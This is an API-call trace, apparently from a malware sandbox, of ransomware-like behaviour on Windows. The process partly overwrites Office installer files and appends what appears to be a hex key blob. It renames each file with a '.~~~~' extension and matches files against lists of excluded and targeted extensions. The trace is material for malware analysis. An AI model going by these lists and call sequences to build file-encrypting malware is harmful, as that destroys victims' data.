	[0076.343] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0076.343] GetLastError () returned 0x0
	[0076.343] GetLastError () returned 0x0
	[0076.343] ReadFile (in: hFile=0x118, lpBuffer=0x3b76e0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x3b76e0*, lpNumberOfBytesRead=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0076.345] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0076.345] WriteFile (in: hFile=0x118, lpBuffer=0x3b76e0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x3b76e0*, lpNumberOfBytesWritten=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0076.347] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b76e0 | out: hHeap=0x300000) returned 1
	[0076.347] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.347] WriteFile (in: hFile=0x118, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0076.349] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0076.349] WriteFile (in: hFile=0x118, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0076.349] CloseHandle (hObject=0x118) returned 1
	[0076.349] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4100
	[0076.349] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi.~~~~" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi.~~~~")) returned 1
	[0076.350] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4100 | out: hHeap=0x300000) returned 1
	[0076.350] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0076.350] GetLastError () returned 0x0
	[0076.350] RtlWakeConditionVariable () returned 0x365f70
	[0076.350] GetCurrentThreadId () returned 0xaf0
	[0076.350] GetCurrentThreadId () returned 0xaf0
	[0076.350] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5748
	[0076.350] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a49a0 | out: hHeap=0x300000) returned 1
	[0076.350] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3300 | out: hHeap=0x300000) returned 1
	[0076.350] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a49a0
	[0076.350] lstrlenW (lpString=".scr") returned 4
	[0076.350] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi", lpSrch=".scr") returned 0x0
	[0076.350] lstrlenW (lpString=".cmd") returned 4
	[0076.350] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi", lpSrch=".cmd") returned 0x0
	[0076.350] lstrlenW (lpString=".dll") returned 4
	[0076.350] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi", lpSrch=".dll") returned 0x0
	[0076.350] lstrlenW (lpString=".bat") returned 4
	[0076.350] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi", lpSrch=".bat") returned 0x0
	[0076.350] lstrlenW (lpString=".cpl") returned 4
	[0076.350] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi", lpSrch=".cpl") returned 0x0
	[0076.350] lstrlenW (lpString=".sys") returned 4
	[0076.350] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi", lpSrch=".sys") returned 0x0
	[0076.350] lstrlenW (lpString=".msc") returned 4
	[0076.350] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi", lpSrch=".msc") returned 0x0
	[0076.350] lstrlenW (lpString=".com") returned 4
	[0076.350] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi", lpSrch=".com") returned 0x0
	[0076.351] lstrlenW (lpString=".lnk") returned 4
	[0076.351] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi", lpSrch=".lnk") returned 0x0
	[0076.351] lstrlenW (lpString=".msp") returned 4
	[0076.351] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi", lpSrch=".msp") returned 0x0
	[0076.351] lstrlenW (lpString=".pif") returned 4
	[0076.351] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi", lpSrch=".pif") returned 0x0
	[0076.351] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0076.351] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi", lpSrch="msp\r\n.pif") returned 0x0
	[0076.351] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
	[0076.351] lstrlenW (lpString=".sqb") returned 4
	[0076.351] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi", lpSrch=".sqb") returned 0x0
	[0076.351] lstrlenW (lpString=".ost") returned 4
	[0076.351] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi", lpSrch=".ost") returned 0x0
	[0076.351] lstrlenW (lpString=".txt") returned 4
	[0076.351] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi", lpSrch=".txt") returned 0x0
	[0076.351] lstrlenW (lpString=".mdt") returned 4
	[0076.351] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi", lpSrch=".mdt") returned 0x0
	[0076.351] lstrlenW (lpString=".BDB") returned 4
	[0076.351] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi", lpSrch=".BDB") returned 0x0
	[0076.351] lstrlenW (lpString=".eql") returned 4
	[0076.351] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi", lpSrch=".eql") returned 0x0
	[0076.351] lstrlenW (lpString=".DBF") returned 4
	[0076.351] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi", lpSrch=".DBF") returned 0x0
	[0076.351] lstrlenW (lpString=".EQL") returned 4
	[0076.351] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi", lpSrch=".EQL") returned 0x0
	[0076.351] lstrlenW (lpString=".FDB") returned 4
	[0076.352] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi", lpSrch=".FDB") returned 0x0
	[0076.352] lstrlenW (lpString=".EDB") returned 4
	[0076.352] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi", lpSrch=".EDB") returned 0x0
	[0076.352] lstrlenW (lpString=".DACPAC") returned 7
	[0076.352] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi", lpSrch=".DACPAC") returned 0x0
	[0076.352] lstrlenW (lpString=".VHD") returned 4
	[0076.352] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi", lpSrch=".VHD") returned 0x0
	[0076.352] lstrlenW (lpString=".DBV") returned 4
	[0076.352] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi", lpSrch=".DBV") returned 0x0
	[0076.352] lstrlenW (lpString=".dacpac") returned 7
	[0076.352] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi", lpSrch=".dacpac") returned 0x0
	[0076.352] lstrlenW (lpString=".sdf") returned 4
	[0076.352] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi", lpSrch=".sdf") returned 0x0
	[0076.352] lstrlenW (lpString=".accdb") returned 6
	[0076.352] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi", lpSrch=".accdb") returned 0x0
	[0076.352] lstrlenW (lpString=".DBX") returned 4
	[0076.352] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi", lpSrch=".DBX") returned 0x0
	[0076.352] lstrlenW (lpString=".MDT") returned 4
	[0076.352] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi", lpSrch=".MDT") returned 0x0
	[0076.352] lstrlenW (lpString=".SQB") returned 4
	[0076.352] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi", lpSrch=".SQB") returned 0x0
	[0076.352] lstrlenW (lpString=".vhd") returned 4
	[0076.352] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi", lpSrch=".vhd") returned 0x0
	[0076.352] lstrlenW (lpString=".bac") returned 4
	[0076.352] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi", lpSrch=".bac") returned 0x0
	[0076.352] lstrlenW (lpString=".mdf") returned 4
	[0076.352] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi", lpSrch=".mdf") returned 0x0
	[0076.352] lstrlenW (lpString=".BAK") returned 4
	[0076.353] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi", lpSrch=".BAK") returned 0x0
	[0076.353] lstrlenW (lpString=".BAC") returned 4
	[0076.353] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi", lpSrch=".BAC") returned 0x0
	[0076.353] lstrlenW (lpString=".dbs") returned 4
	[0076.353] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi", lpSrch=".dbs") returned 0x0
	[0076.353] lstrlenW (lpString=".vhdx") returned 5
	[0076.353] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi", lpSrch=".vhdx") returned 0x0
	[0076.353] lstrlenW (lpString=".NDF") returned 4
	[0076.353] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi", lpSrch=".NDF") returned 0x0
	[0076.353] lstrlenW (lpString=".dat") returned 4
	[0076.353] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi", lpSrch=".dat") returned 0x0
	[0076.353] lstrlenW (lpString=".DBS") returned 4
	[0076.353] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi", lpSrch=".DBS") returned 0x0
	[0076.353] lstrlenW (lpString=".CKP") returned 4
	[0076.353] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi", lpSrch=".CKP") returned 0x0
	[0076.353] lstrlenW (lpString=".edb") returned 4
	[0076.353] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi", lpSrch=".edb") returned 0x0
	[0076.353] lstrlenW (lpString=".PST") returned 4
	[0076.353] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi", lpSrch=".PST") returned 0x0
	[0076.353] lstrlenW (lpString=".dbf") returned 4
	[0076.353] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi", lpSrch=".dbf") returned 0x0
	[0076.353] lstrlenW (lpString=".SQL") returned 4
	[0076.353] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi", lpSrch=".SQL") returned 0x0
	[0076.353] lstrlenW (lpString=".pst") returned 4
	[0076.353] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi", lpSrch=".pst") returned 0x0
	[0076.353] lstrlenW (lpString=".dbv") returned 4
	[0076.353] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi", lpSrch=".dbv") returned 0x0
	[0076.353] lstrlenW (lpString=".SDF") returned 4
	[0076.353] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi", lpSrch=".SDF") returned 0x0
	[0076.353] lstrlenW (lpString=".dtxs") returned 5
	[0076.354] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi", lpSrch=".dtxs") returned 0x0
	[0076.354] lstrlenW (lpString=".db3") returned 4
	[0076.354] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi", lpSrch=".db3") returned 0x0
	[0076.354] lstrlenW (lpString=".OST") returned 4
	[0076.354] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi", lpSrch=".OST") returned 0x0
	[0076.354] lstrlenW (lpString=".dbx") returned 4
	[0076.354] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi", lpSrch=".dbx") returned 0x0
	[0076.354] lstrlenW (lpString=".DB3") returned 4
	[0076.354] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi", lpSrch=".DB3") returned 0x0
	[0076.354] lstrlenW (lpString=".DAT") returned 4
	[0076.354] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi", lpSrch=".DAT") returned 0x0
	[0076.354] lstrlenW (lpString=".VHDX") returned 5
	[0076.354] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi", lpSrch=".VHDX") returned 0x0
	[0076.354] lstrlenW (lpString=".ndf") returned 4
	[0076.354] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi", lpSrch=".ndf") returned 0x0
	[0076.354] lstrlenW (lpString=".DB") returned 3
	[0076.354] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi", lpSrch=".DB") returned 0x0
	[0076.354] lstrlenW (lpString=".sql") returned 4
	[0076.354] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi", lpSrch=".sql") returned 0x0
	[0076.354] lstrlenW (lpString=".MYD") returned 4
	[0076.354] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi", lpSrch=".MYD") returned 0x0
	[0076.354] lstrlenW (lpString=".DBT") returned 4
	[0076.354] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi", lpSrch=".DBT") returned 0x0
	[0076.354] lstrlenW (lpString=".ACCDB") returned 6
	[0076.354] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi", lpSrch=".ACCDB") returned 0x0
	[0076.354] lstrlenW (lpString=".fdb") returned 4
	[0076.354] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi", lpSrch=".fdb") returned 0x0
	[0076.354] lstrlenW (lpString=".bak") returned 4
	[0076.354] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi", lpSrch=".bak") returned 0x0
	[0076.354] lstrlenW (lpString=".myd") returned 4
	[0076.354] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi", lpSrch=".myd") returned 0x0
	[0076.354] lstrlenW (lpString=".DTXS") returned 5
	[0076.354] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi", lpSrch=".DTXS") returned 0x0
	[0076.354] lstrlenW (lpString=".ckp") returned 4
	[0076.355] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi", lpSrch=".ckp") returned 0x0
	[0076.355] lstrlenW (lpString=".dbt") returned 4
	[0076.355] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi", lpSrch=".dbt") returned 0x0
	[0076.512] lstrlenW (lpString=".db") returned 3
	[0076.512] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi", lpSrch=".db") returned 0x0
	[0076.512] lstrlenW (lpString=".TXT") returned 4
	[0076.512] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi", lpSrch=".TXT") returned 0x0
	[0076.512] lstrlenW (lpString=".MDF") returned 4
	[0076.512] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi", lpSrch=".MDF") returned 0x0
	[0076.512] lstrlenW (lpString=".bdb") returned 4
	[0076.512] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi", lpSrch=".bdb") returned 0x0
	[0076.512] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0076.512] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0076.512] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x27fe8d0
	[0076.512] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0076.512] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a00d0) returned 1
	[0076.514] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0076.514] CryptReleaseContext (hProv=0x3a00d0, dwFlags=0x0) returned 1
	[0076.514] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0076.514] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0076.514] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x28041e8
	[0076.514] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=19650443354) returned 1
	[0076.520] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9781bc30, dwHighDateTime=0x1d60e1e)) 
	[0076.520] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0076.540] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0076.540] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0076.540] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a3530
	[0076.540] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0076.540] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3530 | out: hHeap=0x300000) returned 1
	[0076.540] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0076.540] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0076.540] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e7cd8
	[0076.540] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0076.540] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0076.540] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7cd8 | out: hHeap=0x300000) returned 1
	[0076.540] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0076.541] GetLastError () returned 0x0
	[0076.541] GetLastError () returned 0x0
	[0076.541] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0076.541] GetLastError () returned 0x0
	[0076.541] GetLastError () returned 0x0
	[0076.541] ReadFile (in: hFile=0x118, lpBuffer=0x283dfe0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x283dfe0*, lpNumberOfBytesRead=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0076.545] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0076.546] WriteFile (in: hFile=0x118, lpBuffer=0x283dfe0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x283dfe0*, lpNumberOfBytesWritten=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0076.548] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x283dfe0 | out: hHeap=0x300000) returned 1
	[0076.548] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.548] WriteFile (in: hFile=0x118, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0076.550] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0076.550] WriteFile (in: hFile=0x118, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0076.550] CloseHandle (hObject=0x118) returned 1
	[0076.550] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b3ae0
	[0076.550] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi.~~~~" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi.~~~~")) returned 1
